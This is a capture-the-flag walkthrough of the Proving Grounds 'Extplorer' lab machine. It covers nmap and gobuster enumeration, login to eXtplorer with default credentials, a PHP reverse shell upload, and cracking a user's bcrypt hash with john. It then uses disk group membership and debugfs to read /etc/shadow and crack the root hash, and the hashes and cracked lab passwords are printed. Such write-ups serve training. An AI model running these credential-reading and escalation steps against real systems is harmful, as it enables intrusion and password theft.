In this walk through, we will be going through the Extplorer room from Proving Grounds. This room is rated as Intermediate on the platform and it consists of exploitation with general misconfiguration like default credentials which grants initial access. Enumerating common web server files again reveals some store creds that can then be leveraged to perform Lateral Movement. At last, Privilege escalation to root is done by abusing disk group permissions for the current user. So, let’s get started without any delay.

Table of Contents
Machine Info:
Title | Extplorer |
IPaddress | 192.168.193.16 |
Difficulty | Intermediate |
OS | Linux |
Description | Extplorer is an Intermediate Linux machine and becomes vulnerable due to general misconfiguration like default credentials which grants the attacker initial access. Enumerating common web server files might again reveals some store creds that can then be leveraged to perform Lateral Movement. At last, Privilege escalation to root is done by abusing disk group permissions for the current user. |
Enumeration:
- I started off with my regular aggressive nmap scan and found only two ports opened – 22 (SSH) and 80 (HTTP).
$ sudo nmap -A 192.168.193.16 [sudo] password for wh1terose: Starting Nmap 7.80 ( https://nmap.org ) at 2024-01-24 21:28 IST Nmap scan report for 192.168.193.16 Host is up (0.41s latency). Not shown: 998 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | vulners: | cpe:/a:openbsd:openssh:8.2p1: | CVE-2020-15778 6.8 https://vulners.com/cve/CVE-2020-15778 | C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3 6.8 https://vulners.com/githubexploit/C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3 *EXPLOIT* | 10213DBE-F683-58BB-B6D3-353173626207 6.8 https://vulners.com/githubexploit/10213DBE-F683-58BB-B6D3-353173626207 *EXPLOIT* | PRION:CVE-2020-12062 5.0 https://vulners.com/prion/PRION:CVE-2020-12062 | PRION:CVE-2016-20012 5.0 https://vulners.com/prion/PRION:CVE-2016-20012 | CVE-2020-12062 5.0 https://vulners.com/cve/CVE-2020-12062 | PRION:CVE-2021-28041 4.6 https://vulners.com/prion/PRION:CVE-2021-28041 | CVE-2021-28041 4.6 https://vulners.com/cve/CVE-2021-28041 | PRION:CVE-2020-15778 4.4 https://vulners.com/prion/PRION:CVE-2020-15778 | CVE-2021-41617 4.4 https://vulners.com/cve/CVE-2021-41617 | PRION:CVE-2020-14145 4.3 https://vulners.com/prion/PRION:CVE-2020-14145 | CVE-2020-14145 4.3 https://vulners.com/cve/CVE-2020-14145 | CVE-2016-20012 4.3 https://vulners.com/cve/CVE-2016-20012 | PRION:CVE-2021-41617 3.5 https://vulners.com/prion/PRION:CVE-2021-41617 | PRION:CVE-2021-36368 2.6 https://vulners.com/prion/PRION:CVE-2021-36368 |_ CVE-2021-36368 2.6 https://vulners.com/cve/CVE-2021-36368 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) | vulners: | cpe:/a:apache:http_server:2.4.41: | PACKETSTORM:171631 7.5 https://vulners.com/packetstorm/PACKETSTORM:171631 *EXPLOIT* | EDB-ID:51193 7.5 https://vulners.com/exploitdb/EDB-ID:51193 *EXPLOIT* | CVE-2022-31813 7.5 https://vulners.com/cve/CVE-2022-31813 | CVE-2022-23943 7.5 https://vulners.com/cve/CVE-2022-23943 | CVE-2022-22720 7.5 https://vulners.com/cve/CVE-2022-22720 | CVE-2021-44790 7.5 https://vulners.com/cve/CVE-2021-44790 | CVE-2021-39275 7.5 https://vulners.com/cve/CVE-2021-39275 | CVE-2021-26691 7.5 https://vulners.com/cve/CVE-2021-26691 | CVE-2020-11984 7.5 https://vulners.com/cve/CVE-2020-11984 | CNVD-2022-73123 7.5 https://vulners.com/cnvd/CNVD-2022-73123 | CNVD-2022-03225 7.5 https://vulners.com/cnvd/CNVD-2022-03225 | CNVD-2021-102386 7.5 https://vulners.com/cnvd/CNVD-2021-102386 | 1337DAY-ID-38427 7.5 https://vulners.com/zdt/1337DAY-ID-38427*EXPLOIT* | 1337DAY-ID-34882 7.5 https://vulners.com/zdt/1337DAY-ID-34882*EXPLOIT* | FDF3DFA1-ED74-5EE2-BF5C-BA752CA34AE8 6.8 https://vulners.com/githubexploit/FDF3DFA1-ED74-5EE2-BF5C-BA752CA34AE8 *EXPLOIT* | CVE-2021-40438 6.8 https://vulners.com/cve/CVE-2021-40438 | CVE-2020-35452 6.8 https://vulners.com/cve/CVE-2020-35452 | CNVD-2022-03224 6.8 https://vulners.com/cnvd/CNVD-2022-03224 | AE3EF1CC-A0C3-5CB7-A6EF-4DAAAFA59C8C 6.8 https://vulners.com/githubexploit/AE3EF1CC-A0C3-5CB7-A6EF-4DAAAFA59C8C *EXPLOIT* | 8AFB43C5-ABD4-52AD-BB19-24D7884FF2A2 6.8 https://vulners.com/githubexploit/8AFB43C5-ABD4-52AD-BB19-24D7884FF2A2 *EXPLOIT* | 4810E2D9-AC5F-5B08-BFB3-DDAFA2F63332 6.8 https://vulners.com/githubexploit/4810E2D9-AC5F-5B08-BFB3-DDAFA2F63332 *EXPLOIT* | 4373C92A-2755-5538-9C91-0469C995AA9B 6.8 https://vulners.com/githubexploit/4373C92A-2755-5538-9C91-0469C995AA9B *EXPLOIT* | 36618CA8-9316-59CA-B748-82F15F407C4F 6.8 https://vulners.com/githubexploit/36618CA8-9316-59CA-B748-82F15F407C4F *EXPLOIT* | 0095E929-7573-5E4A-A7FA-F6598A35E8DE 6.8 https://vulners.com/githubexploit/0095E929-7573-5E4A-A7FA-F6598A35E8DE *EXPLOIT* | OSV:BIT-2023-31122 6.4 https://vulners.com/osv/OSV:BIT-2023-31122 | CVE-2022-28615 6.4 https://vulners.com/cve/CVE-2022-28615 | CVE-2021-44224 6.4 https://vulners.com/cve/CVE-2021-44224 | CVE-2022-22721 5.8 https://vulners.com/cve/CVE-2022-22721 | CVE-2020-1927 5.8 https://vulners.com/cve/CVE-2020-1927 | OSV:BIT-2023-45802 5.0 https://vulners.com/osv/OSV:BIT-2023-45802 | OSV:BIT-2023-43622 5.0 https://vulners.com/osv/OSV:BIT-2023-43622 | F7F6E599-CEF4-5E03-8E10-FE18C4101E38 5.0 https://vulners.com/githubexploit/F7F6E599-CEF4-5E03-8E10-FE18C4101E38 *EXPLOIT* | E5C174E5-D6E8-56E0-8403-D287DE52EB3F 5.0 https://vulners.com/githubexploit/E5C174E5-D6E8-56E0-8403-D287DE52EB3F *EXPLOIT* | DB6E1BBD-08B1-574D-A351-7D6BB9898A4A 5.0 https://vulners.com/githubexploit/DB6E1BBD-08B1-574D-A351-7D6BB9898A4A *EXPLOIT* | CVE-2022-30556 5.0 https://vulners.com/cve/CVE-2022-30556 | CVE-2022-29404 5.0 https://vulners.com/cve/CVE-2022-29404 | CVE-2022-28614 5.0 https://vulners.com/cve/CVE-2022-28614 | CVE-2022-26377 5.0 https://vulners.com/cve/CVE-2022-26377 | CVE-2022-22719 5.0 https://vulners.com/cve/CVE-2022-22719 | CVE-2021-36160 5.0 https://vulners.com/cve/CVE-2021-36160 | CVE-2021-34798 5.0 https://vulners.com/cve/CVE-2021-34798 | CVE-2021-33193 5.0 https://vulners.com/cve/CVE-2021-33193 | CVE-2021-30641 5.0 https://vulners.com/cve/CVE-2021-30641 | CVE-2021-26690 5.0 https://vulners.com/cve/CVE-2021-26690 | CVE-2020-9490 5.0 https://vulners.com/cve/CVE-2020-9490 | CVE-2020-1934 5.0 https://vulners.com/cve/CVE-2020-1934 | CVE-2020-13950 5.0 https://vulners.com/cve/CVE-2020-13950 | CVE-2019-17567 5.0 https://vulners.com/cve/CVE-2019-17567 | CVE-2006-20001 5.0 https://vulners.com/cve/CVE-2006-20001 | CNVD-2023-93320 5.0 https://vulners.com/cnvd/CNVD-2023-93320 | CNVD-2023-80558 5.0 https://vulners.com/cnvd/CNVD-2023-80558 | CNVD-2022-73122 5.0 https://vulners.com/cnvd/CNVD-2022-73122 | CNVD-2022-53584 5.0 https://vulners.com/cnvd/CNVD-2022-53584 | CNVD-2022-53582 5.0 https://vulners.com/cnvd/CNVD-2022-53582 | CNVD-2022-03223 5.0 https://vulners.com/cnvd/CNVD-2022-03223 | C9A1C0C1-B6E3-5955-A4F1-DEA0E505B14B 5.0 https://vulners.com/githubexploit/C9A1C0C1-B6E3-5955-A4F1-DEA0E505B14B *EXPLOIT* | BD3652A9-D066-57BA-9943-4E34970463B9 5.0 https://vulners.com/githubexploit/BD3652A9-D066-57BA-9943-4E34970463B9 *EXPLOIT* | B0208442-6E17-5772-B12D-B5BE30FA5540 5.0 https://vulners.com/githubexploit/B0208442-6E17-5772-B12D-B5BE30FA5540 *EXPLOIT* | A820A056-9F91-5059-B0BC-8D92C7A31A52 5.0 https://vulners.com/githubexploit/A820A056-9F91-5059-B0BC-8D92C7A31A52 *EXPLOIT* | 9814661A-35A4-5DB7-BB25-A1040F365C81 5.0 https://vulners.com/githubexploit/9814661A-35A4-5DB7-BB25-A1040F365C81 *EXPLOIT* | 5A864BCC-B490-5532-83AB-2E4109BB3C31 5.0 https://vulners.com/githubexploit/5A864BCC-B490-5532-83AB-2E4109BB3C31 *EXPLOIT* | 17C6AD2A-8469-56C8-BBBE-1764D0DF1680 5.0 https://vulners.com/githubexploit/17C6AD2A-8469-56C8-BBBE-1764D0DF1680 *EXPLOIT* | CVE-2020-11993 4.3 https://vulners.com/cve/CVE-2020-11993 |_ 1337DAY-ID-35422 4.3 https://vulners.com/zdt/1337DAY-ID-35422*EXPLOIT* Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Linux 2.6.X (86%) OS CPE: cpe:/o:linux:linux_kernel:2.6 Aggressive OS guesses: Linux 2.6.18 - 2.6.22 (86%) No exact OS matches for host (test conditions non-ideal). Network Distance: 4 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 22/tcp) HOP RTT ADDRESS 1 199.48 ms 192.168.45.1 2 199.45 ms 192.168.45.254 3 713.09 ms 192.168.251.1 4 713.30 ms 192.168.193.16 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 121.89 seconds

- Enumerated the web server on port 80 reveals a WordPress installation screen. However, i was unable to move forward with that due to configuration issues in the backend.

- Fired gobuster on the target to reveal some hidden directories and found an interesting one – /filemanger.
gobuster dir -u http://192.168.193.16/ -w ~/Desktop/Wordlist/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt

Initial Access:
- Accessed the /filemanger directory which revealed an eXtplorer installation. Used the default creds to log into the applicaiton.
admin: admin (default)

- Now, i can see the backend wordpress configuration files in the dashboard.

- I uploaded a PHP reverse shell on to the target application and got the initial foothold on to the target.



- I looked further into the web server config file and the .htusers.php file revealed some user password hashes as we already know the password of the admin user. The other user “dora” can be useful to us.

dora: $2a$08$zyiNvVoP/UuSMgO2rKDtLuox.vYj.3hZPVYq3i4oG3/CtgET7CjjS
- Used john to crack the password of user dora.
sudo ~/Tools/john/run/john hash.txt

- Using the password of user dora, switched our user shell to her.
dora: doraemon

Privilege Escalation:
- Next, i used LinPEAS to gather some privilege escalation attack vectors and found out that the dora user is part of the “disk” group.

- As per the hacktricks documentation, we can leverage this group to read sensitive files. I used the below command to read the contents of the /etc/shadow file and captured the root user hash.
df -h debugfs /dev/mapper/ubuntu--vg-ubuntu--lv cat /etc/shadow


root:$6$AIWcIr8PEVxEWgv1$3mFpTQAc9Kzp4BGUQ2sPYYFE/dygqhDiv2Yw.XcU.Q8n1YO05.a/4.D/x4ojQAkPnv/v7Qrw7Ici7.hs0sZiC.:19453:0:99999:7:::
- Next, cracked the root user hash with john to get the plaintext password.
john root_hash.txt

- Once i got the root password, switched my shell to root and captured both the flags.
root: explorer

Also Read: PG – Election1
Conclusion:

So that was “Extplorer” for you. We started off with a regular nmap scan and only two ports opened – 22 (SSH) and 80 (HTTP). Enumerated the web server on port 80 and found a /filemanager directory which reveals extplorer installation. Used the default credentials to get into the backend of the application. Then, uploaded our reverse shell and executed it to get the initial access. Looked into the .htaccess file and found the hashes of user admin and dora. Cracked the hashes and with the found password, switched the user to dora. At last, For privilege escalation, abused disk group permissions for the current user to get root. On that note, i would take your leave and will meet you in next one. Till then, “Happy hacking”.